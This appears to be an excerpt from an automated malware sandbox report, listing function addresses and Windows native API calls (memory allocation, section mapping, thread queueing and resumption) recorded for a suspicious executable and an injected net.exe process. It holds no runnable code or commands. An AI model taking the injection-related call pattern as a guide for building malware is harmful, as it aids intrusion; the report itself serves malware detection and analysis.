                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,9_2_033A2BF0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2BE0 NtQueryValueKey,LdrInitializeThunk,9_2_033A2BE0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2AF0 NtWriteFile,LdrInitializeThunk,9_2_033A2AF0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2AD0 NtReadFile,LdrInitializeThunk,9_2_033A2AD0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2F30 NtCreateSection,LdrInitializeThunk,9_2_033A2F30
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2FB0 NtResumeThread,LdrInitializeThunk,9_2_033A2FB0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2FE0 NtCreateFile,LdrInitializeThunk,9_2_033A2FE0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2E80 NtReadVirtualMemory,LdrInitializeThunk,9_2_033A2E80
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2EE0 NtQueueApcThread,LdrInitializeThunk,9_2_033A2EE0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2D30 NtUnmapViewOfSection,LdrInitializeThunk,9_2_033A2D30
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2D10 NtMapViewOfSection,LdrInitializeThunk,9_2_033A2D10
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2DF0 NtQuerySystemInformation,LdrInitializeThunk,9_2_033A2DF0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2DD0 NtDelayExecution,LdrInitializeThunk,9_2_033A2DD0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2C70 NtFreeVirtualMemory,LdrInitializeThunk,9_2_033A2C70
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2C60 NtCreateKey,LdrInitializeThunk,9_2_033A2C60
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2CA0 NtQueryInformationToken,LdrInitializeThunk,9_2_033A2CA0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A35C0 NtCreateMutant,LdrInitializeThunk,9_2_033A35C0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A39B0 NtGetContextThread,LdrInitializeThunk,9_2_033A39B0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2B80 NtQueryInformationFile,9_2_033A2B80
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2AB0 NtWaitForSingleObject,9_2_033A2AB0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2F60 NtCreateProcessEx,9_2_033A2F60
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2FA0 NtQuerySection,9_2_033A2FA0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2F90 NtProtectVirtualMemory,9_2_033A2F90
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2E30 NtWriteVirtualMemory,9_2_033A2E30
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2EA0 NtAdjustPrivilegesToken,9_2_033A2EA0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2D00 NtSetInformationFile,9_2_033A2D00
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2DB0 NtEnumerateKey,9_2_033A2DB0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2C00 NtQueryInformationProcess,9_2_033A2C00
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2CF0 NtOpenProcess,9_2_033A2CF0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A2CC0 NtQueryVirtualMemory,9_2_033A2CC0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A3010 NtOpenDirectoryObject,9_2_033A3010
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A3090 NtSetValueKey,9_2_033A3090
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A3D10 NtOpenProcessToken,9_2_033A3D10
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A3D70 NtOpenThread,9_2_033A3D70
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_008898A0 NtCreateFile,9_2_008898A0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_00889A10 NtReadFile,9_2_00889A10
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_00889BA0 NtClose,9_2_00889BA0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_00889B00 NtDeleteFile,9_2_00889B00
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_00889D00 NtAllocateVirtualMemory,9_2_00889D00
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_04E4DFC41_2_04E4DFC4
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C41E81_2_074C41E8
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C3B081_2_074C3B08
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C28701_2_074C2870
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C46B81_2_074C46B8
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C46B31_2_074C46B3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C84411_2_074C8441
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074CB4501_2_074CB450
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C34801_2_074C3480
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C41DB1_2_074C41DB
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C00401_2_074C0040
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C00061_2_074C0006
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074CB0181_2_074CB018
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074CD0901_2_074CD090
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C2FA11_2_074C2FA1
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C2FB01_2_074C2FB0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C2D491_2_074C2D49
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C2D581_2_074C2D58
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C7D681_2_074C7D68
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C2B081_2_074C2B08
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C6A581_2_074C6A58
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C2AF81_2_074C2AF8
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C3AF81_2_074C3AF8
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074CD9681_2_074CD968
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074C28601_2_074C2860
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 1_2_074CB8881_2_074CB888
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_00418D232_2_00418D23
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_004030102_2_00403010
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_004011602_2_00401160
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0040E9FE2_2_0040E9FE
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_00402B8D2_2_00402B8D
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_00402B902_2_00402B90
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_004024CF2_2_004024CF
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_004024D02_2_004024D0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0042F4832_2_0042F483
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0041048A2_2_0041048A
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_004104932_2_00410493
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0040E6932_2_0040E693
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_004106B32_2_004106B3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_00416F232_2_00416F23
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0040E7D72_2_0040E7D7
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_004027E02_2_004027E0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0040E7E32_2_0040E7E3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015281582_2_01528158
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014901002_2_01490100
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153A1182_2_0153A118
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015581CC2_2_015581CC
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015541A22_2_015541A2
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015601AA2_2_015601AA
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015320002_2_01532000
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155A3522_2_0155A352
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015603E62_2_015603E6
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014AE3F02_2_014AE3F0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015402742_2_01540274
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015202C02_2_015202C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A05352_2_014A0535
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015605912_2_01560591
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015524462_2_01552446
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015444202_2_01544420
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0154E4F62_2_0154E4F6
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C47502_2_014C4750
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A07702_2_014A0770
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149C7C02_2_0149C7C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BC6E02_2_014BC6E0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B69622_2_014B6962
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A29A02_2_014A29A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0156A9A62_2_0156A9A6
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A28402_2_014A2840
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014AA8402_2_014AA840
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CE8F02_2_014CE8F0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014868B82_2_014868B8
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155AB402_2_0155AB40
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01556BD72_2_01556BD7
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149EA802_2_0149EA80
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014AAD002_2_014AAD00
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153CD1F2_2_0153CD1F
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149ADE02_2_0149ADE0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B8DBF2_2_014B8DBF
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0C002_2_014A0C00
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01490CF22_2_01490CF2
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01540CB52_2_01540CB5
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01514F402_2_01514F40
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01542F302_2_01542F30
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014E2F282_2_014E2F28
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C0F302_2_014C0F30
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01492FC82_2_01492FC8
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014ACFE02_2_014ACFE0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151EFA02_2_0151EFA0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0E592_2_014A0E59
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155EE262_2_0155EE26
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155EEDB2_2_0155EEDB
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155CE932_2_0155CE93
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B2E902_2_014B2E90
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D516C2_2_014D516C
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148F1722_2_0148F172
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0156B16B2_2_0156B16B
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014AB1B02_2_014AB1B0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A70C02_2_014A70C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0154F0CC2_2_0154F0CC
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155F0E02_2_0155F0E0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015570E92_2_015570E9
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148D34C2_2_0148D34C
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155132D2_2_0155132D
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014E739A2_2_014E739A
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BB2C02_2_014BB2C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015412ED2_2_015412ED
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A52A02_2_014A52A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015575712_2_01557571
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015695C32_2_015695C3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153D5B02_2_0153D5B0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014914602_2_01491460
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155F43F2_2_0155F43F
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155F7B02_2_0155F7B0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014E56302_2_014E5630
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015516CC2_2_015516CC
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A99502_2_014A9950
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BB9502_2_014BB950
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015359102_2_01535910
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150D8002_2_0150D800
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A38E02_2_014A38E0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155FB762_2_0155FB76
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01515BF02_2_01515BF0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014DDBF92_2_014DDBF9
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BFB802_2_014BFB80
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01557A462_2_01557A46
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155FA492_2_0155FA49
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01513A6C2_2_01513A6C
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0154DAC62_2_0154DAC6
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014E5AA02_2_014E5AA0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01541AA32_2_01541AA3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153DAAC2_2_0153DAAC
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A3D402_2_014A3D40
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01551D5A2_2_01551D5A
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01557D732_2_01557D73
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BFDC02_2_014BFDC0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01519C322_2_01519C32
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155FCF22_2_0155FCF2
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155FF092_2_0155FF09
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A1F922_2_014A1F92
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155FFB12_2_0155FFB1
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A9EB02_2_014A9EB0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0342A3529_2_0342A352
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_034303E69_2_034303E6
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0337E3F09_2_0337E3F0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_034102749_2_03410274
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033F02C09_2_033F02C0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033601009_2_03360100
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0340A1189_2_0340A118
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033F81589_2_033F8158
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_034281CC9_2_034281CC
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_034241A29_2_034241A2
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_034301AA9_2_034301AA
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_034020009_2_03402000
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033707709_2_03370770
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033947509_2_03394750
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0338C6E09_2_0338C6E0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033705359_2_03370535
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_034305919_2_03430591
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_034224469_2_03422446
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_034144209_2_03414420
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0341E4F69_2_0341E4F6
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0342AB409_2_0342AB40
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_03426BD79_2_03426BD7
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0336EA809_2_0336EA80
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033869629_2_03386962
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033729A09_2_033729A0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0343A9A69_2_0343A9A6
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033728409_2_03372840
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0337A8409_2_0337A840
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033568B89_2_033568B8
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0339E8F09_2_0339E8F0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_03390F309_2_03390F30
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033B2F289_2_033B2F28
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_03412F309_2_03412F30
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033E4F409_2_033E4F40
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033EEFA09_2_033EEFA0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0337CFE09_2_0337CFE0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_03362FC89_2_03362FC8
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0342EE269_2_0342EE26
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_03370E599_2_03370E59
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0342EEDB9_2_0342EEDB
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_03382E909_2_03382E90
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0342CE939_2_0342CE93
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0337AD009_2_0337AD00
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0340CD1F9_2_0340CD1F
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_03388DBF9_2_03388DBF
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0336ADE09_2_0336ADE0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_03370C009_2_03370C00
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_03360CF29_2_03360CF2
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_03410CB59_2_03410CB5
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0342132D9_2_0342132D
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0335D34C9_2_0335D34C
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033B739A9_2_033B739A
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033752A09_2_033752A0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_034112ED9_2_034112ED
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0338B2C09_2_0338B2C0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0343B16B9_2_0343B16B
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0335F1729_2_0335F172
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033A516C9_2_033A516C
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0337B1B09_2_0337B1B0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0341F0CC9_2_0341F0CC
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0342F0E09_2_0342F0E0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_034270E99_2_034270E9
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033770C09_2_033770C0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0342F7B09_2_0342F7B0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033B56309_2_033B5630
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_034216CC9_2_034216CC
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_034275719_2_03427571
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_034395C39_2_034395C3
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0340D5B09_2_0340D5B0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033614609_2_03361460
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0342F43F9_2_0342F43F
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0342FB769_2_0342FB76
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0338FB809_2_0338FB80
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033ADBF99_2_033ADBF9
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033E5BF09_2_033E5BF0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_03427A469_2_03427A46
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0342FA499_2_0342FA49
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033E3A6C9_2_033E3A6C
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0341DAC69_2_0341DAC6
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033B5AA09_2_033B5AA0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_03411AA39_2_03411AA3
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0340DAAC9_2_0340DAAC
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_034059109_2_03405910
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033799509_2_03379950
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0338B9509_2_0338B950
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033DD8009_2_033DD800
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033738E09_2_033738E0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0342FF099_2_0342FF09
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_03371F929_2_03371F92
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0342FFB19_2_0342FFB1
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_03379EB09_2_03379EB0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_03421D5A9_2_03421D5A
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_03427D739_2_03427D73
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_03373D409_2_03373D40
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0338FDC09_2_0338FDC0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_033E9C329_2_033E9C32
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0342FCF29_2_0342FCF2
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_008723909_2_00872390
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0088C1D09_2_0088C1D0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0086D1D79_2_0086D1D7
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0086D1E09_2_0086D1E0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0086B3E09_2_0086B3E0
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0086D4009_2_0086D400
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0086B5249_2_0086B524
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0086B5309_2_0086B530
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0086B74B9_2_0086B74B
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_00875A709_2_00875A70
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_00873C709_2_00873C70
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0322E3169_2_0322E316
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0322E7DD9_2_0322E7DD
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0322E4389_2_0322E438
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0322D8989_2_0322D898
